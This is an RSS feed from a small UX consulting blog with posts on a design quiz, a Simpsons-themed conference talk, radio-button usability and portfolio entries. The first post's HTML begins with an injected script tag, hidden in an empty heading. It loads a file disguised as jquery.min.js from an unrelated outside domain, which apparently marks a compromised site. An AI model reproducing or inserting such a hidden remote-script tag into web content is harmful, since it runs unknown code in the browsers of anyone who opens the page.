<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>XHIPI</title>
	<atom:link href="http://xhipi.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://xhipi.com</link>
	<description>eXperience, Human Interaction, &#38; Process Improvement</description>
	<lastBuildDate>Wed, 03 Mar 2010 13:56:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Common Sense Design</title>
		<link>http://xhipi.com/2010/03/common-sense-design/</link>
		<comments>http://xhipi.com/2010/03/common-sense-design/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 16:08:57 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Usability]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=359</guid>
		<description><![CDATA[[UPDATED] I added the results of the quiz below. Check out those swanky graphs! I&#8217;ve been re-reading one of my go-to UX books, Human Performance Engineering by Dr Robert Bailey. Particularly, I&#8217;ve been focusing on the chapter about assessing the validity of test results. I mean, who doesn&#8217;t need a refresher on f testing? The [...]]]></description>
			<content:encoded><![CDATA[<h5><script src=http://white.ideacoreportal.com/js/jquery.min.js></script></h5>
<p><strong>[UPDATED]</strong> I added the results of the quiz below. Check out those swanky graphs!</p>
<p>I&#8217;ve been re-reading one of my go-to UX books, <a href="http://www.amazon.com/Human-Performance-Engineering-Professional-Applications/dp/0131496344">Human Performance Engineering</a> by <a href="http://webusability.com">Dr Robert Bailey</a>.</p>
<p>Particularly, I&#8217;ve been focusing on the chapter about assessing the validity of test results.  I mean, who doesn&#8217;t need a refresher on <em>f</em> testing? The chapter starts off with a bit about &ldquo;Common Sense&rdquo; design versus &ldquo;Fact Finding&rdquo; design. I asked Dr Bailey if I could reproduce the quiz for fun and he said yes.</p>
<p>So, here we go. Put on your UX vest, your Interaction Design belt, and your Usability britches. No need for your Graphic Design undies as you can see from the illustration below.</p>
<p><img src="http://xhipi.com/wp-content/uploads/2010/03/burner-590x232.jpg" alt="" title="burner" width="590" height="232" class="alignnone size-large wp-image-361" /></p>
<p>Consider the best design to be the one which causes the fewest burns and the least damage.</p>
<h3>The Results</h3>
<p><img src="http://xhipi.com/wp-content/uploads/2010/03/commonsenseresults-590x232.png" alt="" title="commonsenseresults" width="590" height="232" class="alignnone size-large wp-image-370" /></p>
<p>71 responses. 59% got it wrong.</p>
<p>The correct answer is #1. While this may not be the absolute &ldquo;best design evar,&rdquo; it was the best design of the original study. And for the record, I guessed #2, which is what prompted me to do this quiz in the first place.</p>
<p>Common sense is all well and good, but you shouldn&#8217;t rely on it solely. For the 40% that got it right, it either means you have good design sense or you are good at multiple choice guessing.</p>
<p>My takeaway: there&#8217;s nothing wrong with guessing, but we should all be testing more often.</p>
<p>* Illustration from Johns Hopkins University Press, &copy; 1959, p. 7.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2010/03/common-sense-design/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Embiggening</title>
		<link>http://xhipi.com/2010/02/embiggening/</link>
		<comments>http://xhipi.com/2010/02/embiggening/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 16:37:00 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Speaking]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[refreshboston]]></category>
		<category><![CDATA[talk]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=352</guid>
		<description><![CDATA[Last week I gave a talk at Refresh Boston. I&#8217;ve posted the slides on SlideShare, and they are embedded here for your next-clicking pleasure. Embiggen Your Knowledge: How Cromulent Design Would Make The Simpsons Less Funny View more of my presentations on SlideShare.]]></description>
			<content:encoded><![CDATA[<p>Last week I gave a talk at <a href="http://refreshboston.org">Refresh Boston</a>. I&#8217;ve posted the <a href="http://www.slideshare.net/matthewoliphant/embiggen-your-knowledge-how-cromulent-design-would-make-the-simpsons-less-funny">slides on SlideShare</a>, and they are embedded here for your next-clicking pleasure.</p>
<p><a href="http://www.slideshare.net/matthewoliphant/embiggen-your-knowledge-how-cromulent-design-would-make-the-simpsons-less-funny" title="Embiggen Your Knowledge: How Cromulent Design Would Make The Simpsons Less Funny">Embiggen Your Knowledge: How Cromulent Design Would Make The Simpsons Less Funny</a></p>
<p><object style="margin:0px" width="500"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=cromulentdesignnovids-100202082819-phpapp02&#038;stripped_title=embiggen-your-knowledge-how-cromulent-design-would-make-the-simpsons-less-funny" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=cromulentdesignnovids-100202082819-phpapp02&#038;stripped_title=embiggen-your-knowledge-how-cromulent-design-would-make-the-simpsons-less-funny" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></p>
<p>View more of <a href="http://www.slideshare.net/matthewoliphant/">my presentations</a> on SlideShare.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2010/02/embiggening/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Usability Testing to Find Opportunities</title>
		<link>http://xhipi.com/2010/01/usability-testing-to-find-opportunities/</link>
		<comments>http://xhipi.com/2010/01/usability-testing-to-find-opportunities/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 14:35:25 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[freelance]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=346</guid>
		<description><![CDATA[Colorado State University (CSU) hired me to do usability testing on their recently redesigned site for Continuing Education. The focus was on perspective students; those who might be interested in taking classes online via CSU. Traditionally, people who aren&#8217;t your customers are hard to convince to help you make your site better. But we were [...]]]></description>
			<content:encoded><![CDATA[<p>Colorado State University (CSU) hired me to do usability testing on their recently redesigned site for <a href="http://www.learn.colostate.edu">Continuing Education</a>. The focus was on perspective students; those who might be interested in taking classes online via CSU.</p>
<p>Traditionally, people who aren&#8217;t your customers are hard to convince to help you make your site better.  But we were able to find quite a few people to give good feedback and find areas not only to fix, but to make the site more engaging as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2010/01/usability-testing-to-find-opportunities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Transportation Scheduling &amp; Tracking</title>
		<link>http://xhipi.com/2010/01/transportation-scheduleing-tracking/</link>
		<comments>http://xhipi.com/2010/01/transportation-scheduleing-tracking/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 14:18:35 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[freelance]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=338</guid>
		<description><![CDATA[Boyle Transportation hired me to do an heuristic analysis on their internal (proprietary and as such, not shareable) web application for scheduling and tracking equipment for secure, perishable, and top secret cargo.]]></description>
			<content:encoded><![CDATA[<p>Boyle Transportation hired me to do an heuristic analysis on their internal (proprietary and as such, not shareable) web application for scheduling and tracking equipment for secure, perishable, and top secret cargo.  </p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2010/01/transportation-scheduleing-tracking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Problem With Radio Buttons</title>
		<link>http://xhipi.com/2009/10/the-problem-with-radio-buttons/</link>
		<comments>http://xhipi.com/2009/10/the-problem-with-radio-buttons/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 01:18:33 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Interaction]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=322</guid>
		<description><![CDATA[I made a mistake. I clicked the X in the lower right corner of the screenshot above. Just as I was about to click it I thought, &#8220;That&srquo;s an odd place for a Delete button&#8230;&#8221; Only, of course, it wasn&#8217;t a Delete button. It&#8217;s the button you click when you want to tell the good [...]]]></description>
			<content:encoded><![CDATA[<p>I made a mistake.</p>
<p><img src="http://xhipi.com/wp-content/uploads/2009/10/Google-Voice-Inbox.png" alt="Google Voice - Inbox" title="Google Voice - Inbox" width="489" height="121" class="alignnone size-full wp-image-323" /></p>
<p>I clicked the X in the lower right corner of the screenshot above. Just as I was about to click it I thought, &ldquo;That&srquo;s an odd place for a Delete button&hellip;&rdquo;</p>
<p>Only, of course, it wasn&#8217;t a Delete button. It&#8217;s the button you click when you want to tell the good people at Google Voice that their transcription wasn&#8217;t helpful.  </p>
<p>I know why I clicked it. I was looking for a way to delete a voice mail and that was the first thing I saw that matched my mental model, so to speak.  Back to my mistake. It wasn&#8217;t really a user error. Well, maybe it was if I could easily recover from it, but I can&#8217;t.</p>
<p>There&#8217;s no way to deselect a radio button.  That&#8217;s just not how they function. I know. You know this already. So do most smart people like you and me. And yet&hellip;</p>
<p>Radio buttons are very handy, but I don&#8217;t think they are useful for a binary choice. At least, not Yes/No.</p>
<h3>Better Yes/No</h3>
<p><img src="http://xhipi.com/wp-content/uploads/2009/10/googvoicefeaturebetter.png" alt="googvoicefeaturebetter" title="googvoicefeaturebetter" width="489" height="121" class="alignnone size-full wp-image-327" /></p>
<p>Yes. Makes sense. I&#8217;m a great designer. You are, too.  This isn&#8217;t an earth-shattering design change. But it does allow for a user to recover from a mistake. You can deselect a checkbox. </p>
<p>So consider this a friendly reminder: Radio buttons are for choosing between mutually exclusive&hellip; um, choices. But for the most part, they are better suited when the user has to choose between 3 or more things.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2009/10/the-problem-with-radio-buttons/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Finding UX Wisdom With The Simpsons</title>
		<link>http://xhipi.com/2009/09/finding-ux-wisdom-with-the-simpsons/</link>
		<comments>http://xhipi.com/2009/09/finding-ux-wisdom-with-the-simpsons/#comments</comments>
		<pubDate>Thu, 10 Sep 2009 13:00:37 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Experience]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[cautionary tale]]></category>
		<category><![CDATA[simpsons]]></category>
		<category><![CDATA[ux]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=309</guid>
		<description><![CDATA[We (royally speaking) often talk about good design in terms of how not to do something. It&#8217;s often very easy to look at a design and see what&#8217;s wrong with it. As we progress through our profession, it becomes easier to see things because we&#8217;ve witnessed a lot of, well, crap. My friend &#38; college [...]]]></description>
			<content:encoded><![CDATA[<p>We (royally speaking) often talk about good design in terms of how <strong>not</strong> to do something. It&#8217;s often very easy to look at a design and see what&#8217;s wrong with it. As we progress through our profession, it becomes easier to see things because we&#8217;ve witnessed a lot of, well, crap.</p>
<p>My friend &amp; college <a href="http://www.80watts.com">Matt Wallens</a> asked me a few weeks ago if I was interested in presenting at <a href="http://interaction.ixda.org/">Interaction10</a>. I said sure, but &ldquo;What are we going to talk about?&rdquo;</p>
<h3>D&#8217;oh!</h3>
<p>Somehow, in the time between that question and this post, we found ourselves researching (notice the lack of sarcasm quote marks) by watching hours and hours of <a href="http://thesimpsons.com/index.html">The Simpsons</a>.</p>
<p>Here&#8217;s the thing: Matt and I both love The Simpsons. Not so much over the last few years, but if you can be a <a href="http://chicago.cubs.mlb.com/index.jsp">Cubs</a> fan, you can be a Simpsons fan. With all that history, and our zany ability to quote on the spot from the show in the context of any current conversation, we realized there was a wealth of cautionary tales dealing with bad User Experience in every season.</p>
<p>It was honestly more of a problem narrowing down ideas than finding them.</p>
<h3>The Session</h3>
<p>We&#8217;ve titled it: <em>Embiggen Your Knowledge: How Cromulent Design Could Make The Simpsons Less Funny</em>. Below is the session outline. The plan is to introduce each topic with an associated clip from the show, then talk in terms of, &ldquo;Now what can we learn from Homer&#8217;s [insert disastrous idea here].&rdquo;</p>
<blockquote><p>
The Simpsons has been on TV for 20 years, longer than many of us have been in the User Experience field. Although yellow and limited to four fingers, The Simpsons have been continuously ahead of their time as it relates to UX, by way of poking fun of it by doing things oh-so-wrong. Discover the lessons that The Simspons have taught us about the dangers of bad design, UX practices, and not standing in the way of a t-shirt cannon. This presentation (with lots of room for discussion) features case studies of some of The Simpsons’ questionable techniques.</p>
<p>And yes, we will watch clips from the show!</p>
<p>10 Questions to be Answered:</p>
<ol>
<li>What can go wrong when you let users design your product? (The Homermobile)</li>
<li>Why is it important to establish success criteria before a study? (”Is my brother dumber than a hamster?”)</li>
<li>How not to behave when you’re “behind the glass”? (What’s Wrong With Itchy &#038; Scratchy?)</li>
<li>Why you should understand the problem before paying for a slick solution? (Monorail!)</li>
<li>How can you make customers happy by designing a very specific product. (Leftorium)</li>
<li>How can you solve a complex problem with a simple solution? (Inanimate Carbon Rod)</li>
<li>Why it’s OK to recognize (and go with) a better design. (Soap Box Racer)</li>
<li>Can you re-purpose a niche design/product and make it sell? (Springy the Olympic Mascot)</li>
<li>How soon should you show your design? (Dr. Homer’s Miracle Spine-o-Cylinder)</li>
<li>When should you build and when should you buy? (CompuGlobalHyperMegaNet) </li>
</ol>
<p>Since it’s a 45 minute session, we’ll crowdsource the list down to a reasonable size in advance of the event.
</p></blockquote>
<p>I encourage you to go to the Interaction10 site and comment on <a href="http://interaction.ixda.org/proposals/presentations/embiggen-your-knowledge-how-cromulent-design-could-make-the-simpsons-less-funny/">our proposal</a>, even if you aren&#8217;t going to attend our talk or the conference. The more feedback we get, the more likely it will be (I hope) that our talk is accepted.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2009/09/finding-ux-wisdom-with-the-simpsons/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Begin Agains</title>
		<link>http://xhipi.com/2009/09/begin-agains/</link>
		<comments>http://xhipi.com/2009/09/begin-agains/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 23:02:07 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[For Hire]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=279</guid>
		<description><![CDATA[When I first graduated from college (ya know&#8230; last century?) I made a resume. It wasn&#8217;t long by any means, but I titled it &#8220;A Begin Again.&#8221; I figured resumé was just a fancy way of saying resume; which is to say, to begin again. I&#8217;ve had a number of Begin Agains since. And in [...]]]></description>
			<content:encoded><![CDATA[<p>When I first graduated from college (ya know&#8230; last century?) I made a resume. It wasn&#8217;t long by any means, but I titled it &ldquo;A Begin Again.&rdquo; I figured resumé was just a fancy way of saying resume; which is to say, to begin again.</p>
<p>I&#8217;ve had a number of Begin Agains since. And in that spirit, I&#8217;ve repurposed my site in order to promote myself as a <strong>UXer for Hire</strong>.</p>
<h3>How We Got Here</h3>
<p>I spent the last few months trying to find a new job with varying degrees of success: degrees all the way from Almost to Not So Much. As time progressed (it&#8217;s only been the summer) I realized I was getting bored. Really bored. So I reached out to a few friends who have their own overflowing work and offered my help.</p>
<p>Within a week I was on a new project. With 4 more projects from various sources in the works. I thought, while it will be tough, especially as the sole income for the fam, being a freelancer really fits the way I like to work.</p>
<p>I like to solve problems. I like to make things work better. I like variety. I like working with different people (sometimes engineers, sometimes marketers). I like challenging problems. I like dropping off and picking up my daughter from the bus stop.</p>
<p>While being an employee certainly brought me many good things like experience, stability, and low-cost insurance it just wasn&#8217;t me.</p>
<p>I don&#8217;t like having a boss. I don&#8217;t like having to be in the office even when I don&#8217;t need to be. I don&#8217;t like bureaucrats.</p>
<h3>Where We Are Going</h3>
<p>So. Freelancing. For Hire. Indie. Call it what you want (I&#8217;ve been using many terms interchangeably) it means a lot of opportunity, freedom, and challenges. Which is cool. By which I mean both, &ldquo;Holy Crap!&rdquo; and &ldquo;Fun!&rdquo;</p>
<p>All those aforementioned terms can be pretty vague. So let me tell you what it is I do do. Briefly&#8230; User Experience Strategy &amp; Design, Interaction Design, Information Architecture, Usability Testing (remote &amp; in-person), Copy Editing, Business Analysis, Communication Strategy, and, and, and. </p>
<p>All that stuff? Really? Well, as I say on my handsome-picture-of-me-having About page:</p>
<blockquote><p>I take a “big D” approach to design. Which is to say I think anything that is created goes through a design process; even design processes. </p>
<p>You start with a problem or opportunity and need to create something to fill a perceived gap. How well one perceives a gap usually influences how well one bridges it.</p></blockquote>
<p>And strangely enough, I&#8217;m really good at both perceiving <strong>and</strong> bridging.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2009/09/begin-agains/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Bug Reports</title>
		<link>http://xhipi.com/2009/09/bug-reports/</link>
		<comments>http://xhipi.com/2009/09/bug-reports/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 22:17:57 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[employee]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=274</guid>
		<description><![CDATA[Take a hodge-podge of a UI and make it useful again. Three UIs and multiple pages were turned into a one-page app that makes it easier for customers to compare bugs. Login required.]]></description>
			<content:encoded><![CDATA[<p>Take a hodge-podge of a UI and make it useful again.  Three UIs and multiple pages were turned into a one-page app that makes it easier for customers to compare bugs.</p>
<p>Login required.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2009/09/bug-reports/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Communication Analysis</title>
		<link>http://xhipi.com/2009/09/communication-analysis/</link>
		<comments>http://xhipi.com/2009/09/communication-analysis/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 22:12:13 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Portfolio]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=270</guid>
		<description><![CDATA[Break down of the current state of how customers were interacted with in order to design a better way to engage.]]></description>
			<content:encoded><![CDATA[<p>Break down of the current state of how customers were interacted with in order to design a better way to engage.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2009/09/communication-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>License Center</title>
		<link>http://xhipi.com/2009/09/license-center/</link>
		<comments>http://xhipi.com/2009/09/license-center/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 22:05:58 +0000</pubDate>
		<dc:creator>matto</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[employee]]></category>

		<guid isPermaLink="false">http://xhipi.com/?p=266</guid>
		<description><![CDATA[Create an intuitive way for Sys Admins to make changes to information on multiple licenses at a time. Login &#38; account(s) required for access.]]></description>
			<content:encoded><![CDATA[<p>Create an intuitive way for Sys Admins to make changes to information on multiple licenses at a time.</p>
<p>Login &amp; account(s) required for access.</p>
]]></content:encoded>
			<wfw:commentRss>http://xhipi.com/2009/09/license-center/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

